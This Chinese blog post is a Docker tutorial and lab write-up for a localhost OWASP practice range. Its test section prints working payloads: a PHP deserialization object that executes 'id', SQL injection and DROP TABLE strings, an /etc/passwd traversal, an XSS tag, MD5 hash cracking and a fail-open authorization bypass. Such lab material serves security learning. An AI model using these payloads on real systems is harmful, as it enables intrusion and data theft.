用 Docker 搭一个 OWASP 练习靶场,顺便把Docker再深入一下

4823 字
24 分钟
用 Docker 搭一个 OWASP 练习靶场,顺便把Docker再深入一下

为什么我要自己搭一个靶场#

练 OWASP Top 10 的 A02、A08、A10 时发现一个问题:DVWA 覆盖不到这三条。

它们不是”代码漏洞”,是”工程事故”——生产环境忘关 debug、外部输入直接反序列化、catch 里 return true。现成靶场里很少有这种玩意儿,因为不好”演示”。

自己写三个 PHP 文件才 90 行。但接下来的问题是:怎么把它跑起来。

这正好是个练 Docker 的机会。所以这篇不是”Docker 教程 + 附赠一个靶场”,而是”为了搭靶场,把 Docker 用一遍”。

两条线一起走:

  1. 把这个靶场跑起来(3 个故意写坏的 PHP 文件)
  2. 顺手把 Docker 的常用操作练熟

先看结果#

不用管原理,先复制这几条命令。它会在机器上起一个网页服务器:

Terminal window
docker run -d --name hello-nginx -p 127.0.0.1:8081:80 nginx:alpine

Tips — 拆解命令 拆开看:

  • docker run —— 主命令:用某个镜像启动一个容器
  • -d —— detach,后台运行。不加它,容器的输出会占住你的终端,Ctrl-C 就把容器停了
  • --name hello-nginx —— 给容器起个人能叫的名字。不起名 Docker 会随机生成一个(比如 zen_hopper),后面 docker stop 时你得先 docker ps 查
  • -p 127.0.0.1:8081:80 —— 端口映射,三段式,从左到右读:绑定的地址 : 宿主机端口 : 容器内端口
    • 绑 127.0.0.1 = 只有本机能访问(安全,靶场就该这样)
    • 绑 0.0.0.0 或不写地址 = 整个局域网都能访问(练习环境千万别这么写)
    • 宿主机 8081 收到请求 → 转发给容器的 80 端口
  • nginx:alpine —— 镜像名:标签。不写标签等于 :latest,等于不锁版本,后面 A03 那条会讲这为什么是问题

连成一句人话:在后台用 nginx 的 alpine 版镜像起一个叫 hello-nginx 的容器,只让本机通过 8081 端口访问它里面的 80 端口。

三个最常加的:

Terminal window
--rm # 容器一停就自动删除,适合一次性试验
-it # 交互式终端,配合 sh/bash 进去手动操作
-v 宿主机路径:容器路径 # 目录挂载,见第六节

然后打开 http://127.0.0.1:8081/,你会看到 nginx 的默认欢迎页。

再确认一下它在跑:

Terminal window
docker ps

实测输出(只保留相关列):

CONTAINER ID IMAGE STATUS PORTS NAMES
6910f43e0aaf nginx:alpine Up 2 seconds 127.0.0.1:8081->80/tcp hello-nginx

到这一步已经完成了一次完整的 Docker 操作:从远程仓库下载镜像 → 启动成容器 → 把容器端口映射到本机 → 访问它。

用完删掉:

Terminal window
docker rm -f hello-nginx

这条命令会打印容器名。-f 是强制,正在跑也能删。不删也没关系,但别攒 —— 这些容器会一直占着端口和磁盘。


Tips — 关于Docker的一些名词解释 镜像(image) = 一个装好系统的压缩包

  • 类比:一张装好系统、装好软件的光盘
  • 它是只读的,你不能改它,只能用它启动实例
  • nginx:alpine 就是”nginx 官方镜像的 alpine 版本”,alpine 是个只有 5MB 的精简 Linux

容器(container) = 用镜像启动出来的一个运行实例

  • 类比:拿那张光盘启动出来的一台正在跑的机器
  • 你能进它、能改它里面的文件、能杀掉它
  • 同一个镜像可以起 10 个容器,它们互不影响

仓库(registry) = 存放镜像的地方

  • docker run nginx:alpine 发现本地没有这个镜像,就会去 Docker Hub 下载
  • 这就是第一次跑要等一会儿的原因

一句话记住关系:仓库里有镜像,镜像跑起来是容器,容器删了镜像还在。


容器是活的:进去、看日志、停、删#

看日志(容器里的程序输出都在这)

Terminal window
docker logs hello-nginx

实测尾部:

2026/10/22 03:40:15 [notice] 1#1: start worker process 37
172.17.0.1 - - [22/Oct/2026:03:40:15 +0000] "GET / HTTP/1.1" 200 896 "-" "curl/8.7.1" "-"

第二条是 curl 的那次请求。注意来源 IP 是 172.17.0.1 —— 不是 127.0.0.1。因为请求经过了 Docker 的端口转发,容器看到的对端是网关地址。这个细节在排查”为什么日志里 IP 不对”时非常关键。

  • docker logs -f 容器名 —— 实时跟随(类似 tail -f)
  • docker logs --tail 50 容器名 —— 只看最后 50 行

进容器内部

Terminal window
docker exec -it hello-nginx sh
  • exec —— 在主进程之外再开一个进程进去(不重启容器)
  • -it —— 分配交互终端
  • sh —— 因为 alpine 镜像里没有 bash,只有 sh

进去之后就是容器里的 root:

Terminal window
docker exec hello-nginx sh -c 'ls /usr/share/nginx/html'
50x.html
index.html

注意这个路径:/usr/share/nginx/html 是 容器内 的网页目录,跟电脑上的任何目录都没关系(除非你做挂载)。

停和删

Terminal window
docker stop hello-nginx # 停止(进程收到 SIGTERM,10 秒后 SIGKILL)
docker start hello-nginx # 再启动,容器里之前改的文件还在
docker rm hello-nginx # 删除(必须先停,或者加 -f)

stop 和 rm 的区别要分清:stop 只是关机,rm 是把机器扔了。 扔了之后容器里改过的文件全没,镜像不受影响。


容器是易失的:数据要挂出来#

容器里改的东西,docker rm 之后就没了。这在靶场里无所谓,但真实项目里数据库不能这么玩。

Docker 给两种方案:

bind mount(绑定挂载) —— 把你电脑上的某个目录,直接映射成容器里的某个目录

Terminal window
mkdir -p /tmp/docker-demo/html
echo '<h1>宿主机改的文件</h1>' > /tmp/docker-demo/html/index.html
docker run -d --name hello-nginx -p 127.0.0.1:8081:80 \
-v /tmp/docker-demo/html:/usr/share/nginx/html:ro \
nginx:alpine
  • -v A:B —— 把宿主机的 A 目录挂到容器的 B 目录
  • :ro —— read only,容器只能读不能改。给静态文件挂载一定要加,防止容器里的进程把宿主机文件改了

实测:改宿主机文件,容器不用重启就生效

Terminal window
curl -s http://127.0.0.1:8081/
# <h1>宿主机改的文件</h1>
echo '<h1>改完立刻生效</h1>' > /tmp/docker-demo/html/index.html
curl -s http://127.0.0.1:8081/
# <h1>改完立刻生效</h1>

这就是我们搭靶场要用的方式:把 web/ 目录挂进容器,改 PHP 文件立刻能看到效果,不用重建镜像。

volume(命名卷) —— 由 Docker 管理的存储,你不知道它在磁盘哪个角落

Terminal window
docker volume ls
docker volume create mydata

适合数据库这种”你不需要直接改文件,只要它别丢”的场景。 DVWA 靶场的 dvwa-db-data 就是命名卷。

什么时候用哪个:

  • 直接编辑文件、要看到文件 → bind mount
  • 数据只要持久、不需要手动碰 → volume
  • 挂载路径写错会怎样?Docker 会自动在宿主机创建这个空目录,然后容器里看到空目录,页面白屏。这不是报错,是最容易浪费半小时的坑

这个靶场:compose 文件逐行读#

docker-compose.yml 全文:

services:
web:
image: php:8.3-apache
container_name: owasp-lab
ports:
- "127.0.0.1:8000:80"
volumes:
- ./web:/var/www/html

一行为什么这么写:

  • services: —— 这个文件里要跑的服务清单。现在只有一个叫 web 的
  • image: php:8.3-apache —— 官方 PHP 镜像,已经内置 Apache,不用自己装。这就是”镜像选对了省一半事”
  • container_name: owasp-lab —— 固定容器名,方便 docker exec owasp-lab sh。不写会生成 目录名-web-1 这种
  • ports: - "127.0.0.1:8000:80" —— 和 -p 一个意思,只是写成列表。注意这里有引号,因为冒号在 YAML 里有特殊含义
  • volumes: - ./web:/var/www/html —— 相对路径 ./web 指 compose 文件所在目录。挂到 Apache 的默认站点根

为什么用 compose 而不是一条 docker run?

  • 参数写进文件,下次不用回忆
  • 将来要加数据库、加 WAF,就往 services 里多写一段
  • 别人拿到这个目录,docker compose up -d 一条命令就跑起来

等价的手写命令是:

Terminal window
docker run -d --name owasp-lab -p 127.0.0.1:8000:80 \
-v "$PWD/web:/var/www/html" php:8.3-apache

起、停、重建#

在 OWASP-Top10-lab/ 目录里执行:

Terminal window
docker compose up -d # 起(-d 后台)
docker compose ps # 看状态
docker compose logs -f # 跟随日志
docker compose down # 停并删除容器(镜像和挂载的目录都留着)
docker compose restart # 重启

几个容易混的点:

  • 是 docker compose(中间空格,v2 插件),不是 docker-compose(老版本 Python 脚本)。你机器上是 v5.5.0,用前者
  • 改了挂载目录里的 PHP 文件:不用重启,Apache 每次请求都重新读
  • 改了 compose 文件(端口、镜像):要 docker compose up -d 重新应用,Docker 会自动重建变化的部分
  • docker compose down -v 会额外删掉命名卷,数据一起没。有数据库的靶场慎用

验证靶场起来了:

Terminal window
curl -s http://127.0.0.1:8000/

能看到三个练习入口的列表。


踩坑记录#

坑 1:docker pull 卡住不动,几分钟没进度

在这台机器上拉 php:8.3-apache 时实测卡了 6 分钟以上。国内直连 Docker Hub 经常这样。

排查顺序:

  1. 先确认不是网络彻底断了:curl -I https://registry-1.docker.io/v2/
  2. 在 Docker Desktop 里配镜像加速:Settings → Docker Engine,在 JSON 里加
{
"registry-mirrors": ["https://你的加速地址"]
}
  1. 改完点 Apply & Restart,再 docker pull

注意:国内可用的加速地址是变动的,网上教程里的地址经常已经失效。 不要照抄,先确认当前可用。

如果暂时配不好加速,还有一个绕法:用本地已有的 PHP+Apache 镜像替代。这个靶场对 PHP 版本没要求,任何带 Apache 的 PHP 镜像都能跑。比如本机已经有 DVWA 镜像时:

Terminal window
docker run -d --name owasp-lab -p 127.0.0.1:8000:80 \
--entrypoint apache2-foreground \
-v "$PWD/web:/var/www/html" \
ghcr.io/digininja/dvwa:latest

关键是 --entrypoint apache2-foreground —— 覆盖掉镜像原来的启动脚本(DVWA 的启动脚本会去连数据库),直接让 Apache 前台跑起来。这就是 --entrypoint 的用途:临时改变容器的启动命令,不用改镜像。

换成镜像后,php -v 从 8.3 变成 8.5 这类数字会变,但所有漏洞行为一模一样。

坑 2:端口被占用

Error response from daemon: Ports are not available: exposing port TCP 0.0.0.0:8080

意思是宿主机这个端口已经有别的程序在监听。查是谁:

Terminal window
lsof -iTCP:8080 -sTCP:LISTEN

这台机器上 8888 端口就被 DVWA 靶场占着 —— 所以这个文档里的靶场改用 8000。同一个端口不能给两个服务用,换端口比找冲突简单。

坑 3:Apple Silicon 上镜像跑不起来

报 exec format error 或者容器反复重启,通常是那个镜像只有 x86 版本。

Terminal window
docker image inspect 镜像名 --format '{{.Architecture}}'

返回 arm64 说明是原生,amd64 说明是模拟。只有 amd64 时才需要加:

Terminal window
docker run --platform linux/amd64 ...

代价是性能差一截,能在 arm64 上跑就不要加。 我们用的 php:8.3-apache、nginx:alpine 都有 arm64 原生版。

坑 4:改了 PHP 文件,页面没变化

三个检查点,按顺序:

  1. 文件确实在挂载目录里?ls ./web/vuln/
  2. 挂载路径对不对?docker inspect owasp-lab --format '{{json .Mounts}}'
  3. 是不是改在了容器里而不是宿主机?docker exec owasp-lab cat /var/www/html/vuln/a02-debug.php | head -3

第三种最常见:docker exec 进去用 vi 改的是容器里的副本,docker compose down 之后改动就没了。改文件永远在宿主机改。

坑 6:.htaccess 不生效

A02 的练习里要用 .htaccess 打开目录索引(Options +Indexes)。如果放了没效果,检查两件事。

第一,这个目录允许 .htaccess 覆盖配置吗?

Terminal window
docker exec owasp-lab grep -rn "AllowOverride" /etc/apache2/ | head -5

实测输出:

/etc/apache2/conf-available/docker-php.conf:10: AllowOverride All
/etc/apache2/apache2.conf:161: AllowOverride None

docker-php.conf 里 AllowOverride All 说明 /var/www/ 下的 .htaccess 是生效的;apache2.conf 那条 None 管的是根目录 /。看到多个结果不要慌,关键是看哪个块的路径包含你的目录。

第二,改的是不是宿主机上的文件?

Terminal window
docker exec owasp-lab cat /var/www/html/backup/.htaccess

如果这里看不到你写的内容,说明写错地方了。

另外要知道:不是所有镜像都允许 .htaccess。 官方 php:8.3-apache 通过 docker-php.conf 开了 AllowOverride All,所以能用;换成别的镜像可能就被禁了。禁掉 .htaccess 时,要改 Apache 主配置(在容器里改,或者挂一个配置文件进去)。

顺带一提,这个练习值得做的原因是:默认状态是 403(安全),加一行 .htaccess 就变 200(不安全)—— 这就是 A02 说的”配置错误”,安全和不安全之间只隔一行。

坑 5:docker ps 看不到刚起的容器

docker ps 只显示正在运行的。容器启动失败退出后,它在 docker ps -a 里:

Terminal window
docker ps -a --filter name=owasp-lab
docker logs owasp-lab # 看它为什么退出

常用的docker命令#

看

  • docker ps —— 正在跑的容器
  • docker ps -a —— 包括已经退出的
  • docker images —— 本地镜像
  • docker logs -f 容器 —— 跟日志
  • docker inspect 容器 —— 全部细节(IP、挂载、环境变量)
  • docker stats —— 实时 CPU / 内存

进出

  • docker exec -it 容器 sh —— 进去
  • docker cp 文件 容器:/路径 —— 拷贝文件进容器(调试用)
  • docker cp 容器:/路径 文件 —— 拷出来

生命周期

  • docker compose up -d / down / restart
  • docker stop / start / rm -f
  • docker restart 容器

清理(有破坏性,看清再敲)

  • docker rm -f 容器名 —— 删指定容器
  • docker rmi 镜像名 —— 删指定镜像
  • docker system df —— 先看占了多少
  • docker system prune —— 删所有已停止的容器、无用网络、悬空镜像(不含卷)
  • docker system prune -a --volumes —— 连镜像和卷一起删,会删掉你所有靶场的数据

实际测试一下#

环境#

$ docker version --format 'Client {{.Client.Version}} / Server {{.Server.Version}} ({{.Server.Arch}})'
Client 29.7.2 / Server 29.7.2 (arm64)
$ docker compose version
Docker Compose version v5.5.0

靶场容器:

$ docker ps --filter name=owasp-lab --format '{{.Names}}\t{{.Status}}\t{{.Ports}}'
owasp-lab Up 3 seconds 127.0.0.1:8000->80/tcp

A02 —— debug 没关,一次失败泄露全套配置#

请求

Terminal window
curl -i http://127.0.0.1:8000/vuln/a02-debug.php

输出

[DEBUG] file_get_contents() failed
target : /var/log/app/access-today.log
cwd : /var/www/html/vuln
php : 8.5.11
server : Apache/2.4.68 (Debian)
config : {
"db_host": "db",
"db_user": "dvwa",
"db_pass": "p@ssw0rd",
"secret": "7f2c1e9a4b"
}
[HTTP 500]

结论:一次失败的请求泄露了绝对路径、PHP 版本、Apache 版本、数据库地址、数据库口令、密钥。把 $debug 改成 false 后,同样请求返回”服务繁忙,请稍后再试”。

注意:http_response_code(500) 必须写在任何 echo 之前。第一次写的时候我先 echo 再设状态码,PHP 报 Cannot set response code - headers already sent,状态码退化成 200。

A02 —— 目录列表开关:403 → 200#

默认状态

Terminal window
curl -si http://127.0.0.1:8000/backup/
HTTP/1.1 403 Forbidden
Date: Thu, 22 Oct 2026 03:42:22 GMT
Server: Apache/2.4.68 (Debian)
Content-Length: 316
Content-Type: text/html; charset=iso-8859-1

加一行 .htaccess

Terminal window
printf 'Options +Indexes\n' > web/backup/.htaccess
curl -s http://127.0.0.1:8000/backup/ | grep -E "Index of|db.sql.bak"
<title>Index of /backup</title>
<h1>Index of /backup</h1>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="db.sql.bak">db.sql.bak</a></td><td align="right">2026-10-22 03:31 </td><td align="right">439 </td><td>&nbsp;</td></tr>

结论:一行配置,403 变 200,从”猜文件名”变成”文件列表任选”。

配套检查(.htaccess 为什么能生效):

$ docker exec owasp-lab grep -rn "AllowOverride" /etc/apache2/ | head -5
/etc/apache2/conf-available/docker-php.conf:10: AllowOverride All
/etc/apache2/apache2.conf:161: AllowOverride None

docker-php.conf 的 AllowOverride All 让 /var/www/ 下的 .htaccess 生效。

拿到手的备份文件内容

INSERT INTO users VALUES
(1, 'admin', '5f4dcc3b5aa765d61d8327deb882cf99', 'admin'),
(2, 'gordon', 'e10adc3949ba59abbe56e057f20f883e', 'user');

A04 —— 弱哈希,两秒破完#

Terminal window
for w in password 123456 admin; do
printf '%-10s -> %s\n' "$w" "$(printf '%s' "$w" | md5)"
done
password -> 5f4dcc3b5aa765d61d8327deb882cf99
123456 -> e10adc3949ba59abbe56e057f20f883e
admin -> 21232f297a57a5a743894a0e4a801fc3

结论:备份文件里两个哈希全部命中 —— admin 的密码是 password,gordon 的密码是 123456。

对比:password_hash() 每次输出不同(自动加盐)且故意慢。

A08 —— 反序列化 RCE#

正常数据(一个数组,a:1:{s:4:"name";s:5:"guest";} 的 base64)

Terminal window
curl -s "http://127.0.0.1:8000/vuln/a08-deserialize.php?data=YToxOntzOjQ6Im5hbWUiO3M6NToiZ3Vlc3QiO30%3D"
不是对象,结果: array (
'name' => 'guest',
)
请求结束(对象的 __destruct 会在这之后执行)
[HTTP 200]

构造对象

payload 原文:

O:5:"Cache":2:{s:3:"key";s:2:"gc";s:7:"payload";s:2:"id";}

base64:

Tzo1OiJDYWNoZSI6Mjp7czozOiJrZXkiO3M6MjoiZ2MiO3M6NzoicGF5bG9hZCI7czoyOiJpZCI7fQ==
Terminal window
curl -s "http://127.0.0.1:8000/vuln/a08-deserialize.php?data=Tzo1OiJDYWNoZSI6Mjp7czozOiJrZXkiO3M6MjoiZ2MiO3M6NzoicGF5bG9hZCI7czoyOiJpZCI7fQ%3D%3D"
反序列化成功,得到对象: Cache
请求结束(对象的 __destruct 会在这之后执行)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[HTTP 200]

结论:id 命令以 web 用户身份执行,整个过程中没有调用任何函数,只”传了一段数据”。执行发生在页面输出之后,因为 __destruct 是对象销毁时自动触发。

A10 —— fail open#

传 role=user(明显不是管理员)

Terminal window
curl -s "http://127.0.0.1:8000/vuln/a10-failopen.php?name=guest&role=user"
200 OK —— 已进入管理面板
name: guest
role: user
[HTTP 200]

不传 role(参数缺失)

Terminal window
curl -s "http://127.0.0.1:8000/vuln/a10-failopen.php?name=guest"
<br />
<b>Warning</b>: Undefined array key "role" in <b>/var/www/html/vuln/a10-failopen.php</b> on line <b>11</b><br />
200 OK —— 已进入管理面板
name: guest
role: (未提供)
[HTTP 200]

结论:参数缺了反而直接进后台(异常路径 = 放行路径),同时 Warning 泄露了绝对路径和行号。

修法对照:return true → return false,同样的请求变 403。

A05 —— 同一载荷,有无 WAF 的差异#

直连 DVWA(无 WAF)

Terminal window
curl -s -o /dev/null -w 'HTTP %{http_code}\n' \
"http://127.0.0.1:8888/vulnerabilities/sqli/?id=1%27%20OR%20%271%27%3D%271&Submit=Submit"
HTTP 302

302 是”没带登录 cookie 被弹回登录页”。但请求已经被处理了,响应码正常不代表没打到。

经 WAF(block 模式)

Terminal window
curl -s -o /dev/null -w 'HTTP %{http_code}\n' \
"http://127.0.0.1:8889/vulnerabilities/sqli/?id=1%27%20OR%20%271%27%3D%271&Submit=Submit"
HTTP 403

WAF 审计日志里的那次判决

target : /vulnerabilities/sqli/?id=1%27%20OR%20%271%27%3D%271&Submit=Submit
score : 100 / 阈值 100
action : block resp_status: 403
backend_status: None
命中 : 1021 SQL 注入 · 恒真条件 +55; 1024 SQL 注入 · 引号闭合特征 +45

结论:backend_status: None 说明请求根本没转发到后端,在 WAF 这一层就被拦了。但 DVWA 的 SQL 注入一行没改 —— WAF 是缓解,参数化查询才是根治。

A09 —— 日志记了,但没人被叫醒#

WAF 用 audit 模式(只记录不拦截),打四条不同手法的载荷:

Terminal window
for p in "1' OR '1'='1" "1'; DROP TABLE users--" "../../etc/passwd" "<script>alert(1)</script>"; do
curl -s -o /dev/null -w '%{http_code} ' "http://127.0.0.1:8889/vulnerabilities/sqli/?id=${p}&Submit=Submit"
done

四条全部返回 302。审计日志(按规则去重后):

11:38:36 ?id=1' OR '1'='1 score=100 action=log would_block=True
└─ 1021 SQL 注入 · 恒真条件(55); 1024 SQL 注入 · 引号闭合特征(45)
11:38:36 ?id=1'; DROP TABLE score=185 action=log would_block=True
└─ 1024 引号闭合特征(45); 1026 破坏性语句(70); 1027 堆叠查询(70)
11:38:36 ?id=../../etc/passwd score=170 action=log would_block=True
└─ 1001 路径穿越(70); 1010 敏感文件访问(100)
11:38:36 ?id=<script>alert(1) score=115 action=log would_block=True
└─ 2001 XSS · script 标签(70); 2007 弹窗与危险函数(45)

原始 JSONL 字段名:

ts, req_id, client, peer, method, target, host, ua,
action, would_block, score, threshold, hits[], backend_status, resp_status, elapsed_ms

scores 是去重后累加的(第一条 100 = 55 + 45),hits 里同一条规则会因多个视图各记一行 —— 按 rule 去重才是真实命中数。

结论:四条全部 would_block=True(开了拦截都该拦),但 action=log(全放过去了)。日志完美记录了每一次攻击,可如果没人配告警、没人看这个文件,它就只是一堆躺在磁盘上的 JSON。

A03 —— 自己博客的依赖审计#

Terminal window
cd ~/代码库/LYH-Blogs && pnpm audit
122 vulnerabilities found
Severity: 12 low | 45 moderate | 63 high | 2 critical

两条 critical:

critical Astro: Remote code execution through AVIF image optimization
Package astro
Vulnerable versions <7.2.8
Patched versions >=7.2.8
Paths . > @astrojs/mdx@5.0.6 > astro@6.3.5
. > astro@6.3.5
critical node-tar: Decompression/parse DoS via unlimited input
Package tar
Vulnerable versions <=7.5.18
Patched versions >=7.5.19
Paths . > astro-icon@1.1.5 > @iconify/tools@4.2.0 > tar@7.5.16

结论:博客框架 astro 自己就有 critical RCE(当前 6.3.5,修复版 7.2.8);tar 是传递依赖带进来的 —— 没直接装它,是 astro-icon → @iconify/tools → tar 一路拖进来的。

Docker 入门实测#

起一个容器

Terminal window
docker run -d --name hello-nginx -p 127.0.0.1:8081:80 nginx:alpine
$ docker ps --filter name=hello-nginx --format '{{.Names}}\t{{.Image}}\t{{.Status}}\t{{.Ports}}'
hello-nginx nginx:alpine Up Less than a second 127.0.0.1:8081->80/tcp
$ curl -s -o /dev/null -w 'HTTP %{http_code} 大小 %{size_download} 字节\n' http://127.0.0.1:8081/
HTTP 200 大小 896 字节

容器日志里的来源 IP 是网关地址

2026/10/22 03:40:15 [notice] 1#1: start worker process 37
172.17.0.1 - - [22/Oct/2026:03:40:15 +0000] "GET / HTTP/1.1" 200 896 "-" "curl/8.7.1" "-"

不是 127.0.0.1,是 172.17.0.1 —— 请求经过 Docker 端口转发,容器看到的对端是网关。排查”日志里 IP 不对”时用得上。

进容器

$ docker exec hello-nginx sh -c 'cat /etc/os-release | head -2; ls /usr/share/nginx/html'
NAME="Alpine Linux"
ID=alpine
--- 网页目录 ---
50x.html
index.html

挂载后改宿主机文件立刻生效

$ docker run -d --name hello-nginx -p 127.0.0.1:8081:80 -v /tmp/docker-demo/html:/usr/share/nginx/html:ro nginx:alpine
$ curl -s http://127.0.0.1:8081/
<h1>宿主机改的文件</h1>
$ echo '<h1>改完立刻生效</h1>' > /tmp/docker-demo/html/index.html
$ curl -s http://127.0.0.1:8081/
<h1>改完立刻生效</h1>

容器内网 IP

$ docker inspect hello-nginx --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'
172.17.0.2

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Profile Image of the Author
LYH
LYH,安全方向的在校学生。方向集中在 Web 安全和密码学——Web 这边从 webshell 识别、文件包含到注入类题目都在练,密码学在啃 RSA 和格密码相关的内容,逆向和网络也有涉猎。日常工具链是 Mac + Docker。欢迎交流学习!
公告
欢迎来到我的博客!这里展示我的学习过程与结果。
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
站点统计
文章
52
分类
20
标签
32
总字数
311,598
运行时长
0 天
最后活动
0 天前

文章目录